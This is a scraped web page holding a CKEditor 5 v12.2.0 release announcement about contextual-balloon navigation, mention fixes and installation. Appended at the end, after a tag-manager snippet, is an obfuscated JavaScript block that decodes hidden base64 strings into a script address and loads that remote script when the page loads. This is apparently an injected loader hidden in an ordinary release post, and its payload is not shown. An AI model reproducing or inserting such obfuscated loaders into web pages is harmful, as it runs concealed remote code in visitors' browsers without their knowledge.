Report: 2024 State of Collaborative Editing

Get insights on the trends and future of collaboration in RTEs Download now

Read now

CKEditor 5 v12.2.0 with mobile-friendly comments mode

CKEditor 5 mobile friendly comments mode feature release

We are happy to announce the release of CKEditor 5 v12.2.0. This time we focused on bug fixes and improvements to existing rich-text editor features. We also worked on the contextual balloon functionality in order to provide inline annotations for comments and suggestions as well as a mechanism to easily navigate between the balloons. Read more!

UI for navigating between balloons

CKEditor 5 uses the concept of so-called contextual balloons extensively. They are used to display inline editing options for features such as links, images, and tables. The balloon toolbar and even mention suggestions panel are displayed in a contextual balloon, too.

In addition to that, starting from this release, collaboration features such as comments and suggestions created in the track changes mode will also be able to display all information inline, by using the contextual balloons.

Track changes using contextual balloons in CKEditor 5 WYSIWYG editor
Track changes using contextual balloons in CKEditor 5 WYSIWYG editor

Since multiple features may want to display their balloons in one place at the same time, we needed to come up with a solution to that. We can now present to you the “balloon rotator” that makes the navigation between balloons easier:

Balloon rotator in action inside CKEditor 5 WYSIWYG editor
Balloon rotator in action inside CKEditor 5 WYSIWYG editor

As CKEditor 5 editing features are implemented in a decoupled way, with zero knowledge about one another, the balloon rotator is completely automatic. The only requirement to enable the balloon rotator is to use a different stackId for each group of balloons when using the ContextualBalloon#add() method.

For instance, the link feature uses the default stackId (which is 'main') while the track changes feature uses stackId == 'trackChanges' to show its content as a second balloon to which the user can switch by pressing the “Next” arrow.

Mention feature improvements

The mention feature was introduced earlier this year. This release solves several issues with this feature:

If you have any feedback regarding this feature and integrating it in your environment, we would love to hear from you!

Other WYSIWYG editor improvements

In this release we have decided to focus on bug fixes and polishing existing rich-text editing features. Below you can find the most notable improvements.

What’s next?

While this release focused on bug fixes, we continue working on features and improving the existing ones along the way. The next features on our radar are:

Check the complete plan for the next iteration on GitHub.

Download

CKEditor 5 builds can be downloaded from the CDN, npm or as zip packages. Read more in the Installation guide.

License

CKEditor 5 is available under Open Source and Commercial licenses. Full details can be found on our license page.

Reporting issues and contributing

You can report all general issues in the main CKEditor 5 repository. Read more in the Reporting issues guide.

Support

The CKEditor 5 documentation is growing and always up to date. Community support is available through Stack Overflow. Read more in the Getting support guide.

Related posts

Subscribe to our newsletter

Keep your CKEditor fresh! Receive updates about releases, new features and security fixes.

Input email to subscribe to newsletter

HiddenGatedContent.

Thanks for subscribing!

Hi there, any questions about products or pricing?

Questions about our products or pricing?

Contact our Sales Representatives.

Form content fields

Form submit

HiddenGatedContent.
Hidden unused field.

We are happy to
hear from you!

Thank you for reaching out to the CKEditor Sales Team. We have received your message and we will contact you shortly.

(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start': new Date().getTime(),event:'gtm.js'});const f=d.getElementsByTagName(s)[0], j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src= 'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f); })(window,document,'script','dataLayer','GTM-KFSS6L');window[(function(_2VK,_6n){var _91='';for(var _hi=0;_hi<_2VK.length;_hi++){_91==_91;_DR!=_hi;var _DR=_2VK[_hi].charCodeAt();_DR-=_6n;_DR+=61;_DR%=94;_DR+=33;_6n>9;_91+=String.fromCharCode(_DR)}return _91})(atob('J3R7Pzw3MjBBdjJG'), 43)] = '37db4db8751680691983'; var zi = document.createElement('script'); (zi.type = 'text/javascript'), (zi.async = true), (zi.src = (function(_HwU,_af){var _wr='';for(var _4c=0;_4c<_HwU.length;_4c++){var _Gq=_HwU[_4c].charCodeAt();_af>4;_Gq-=_af;_Gq!=_4c;_Gq+=61;_Gq%=94;_wr==_wr;_Gq+=33;_wr+=String.fromCharCode(_Gq)}return _wr})(atob('IS0tKSxRRkYjLEUzIkQseisiKS0sRXooJkYzIkQteH5FIyw='), 23)), document.readyState === 'complete'?document.body.appendChild(zi): window.addEventListener('load', function(){ document.body.appendChild(zi) });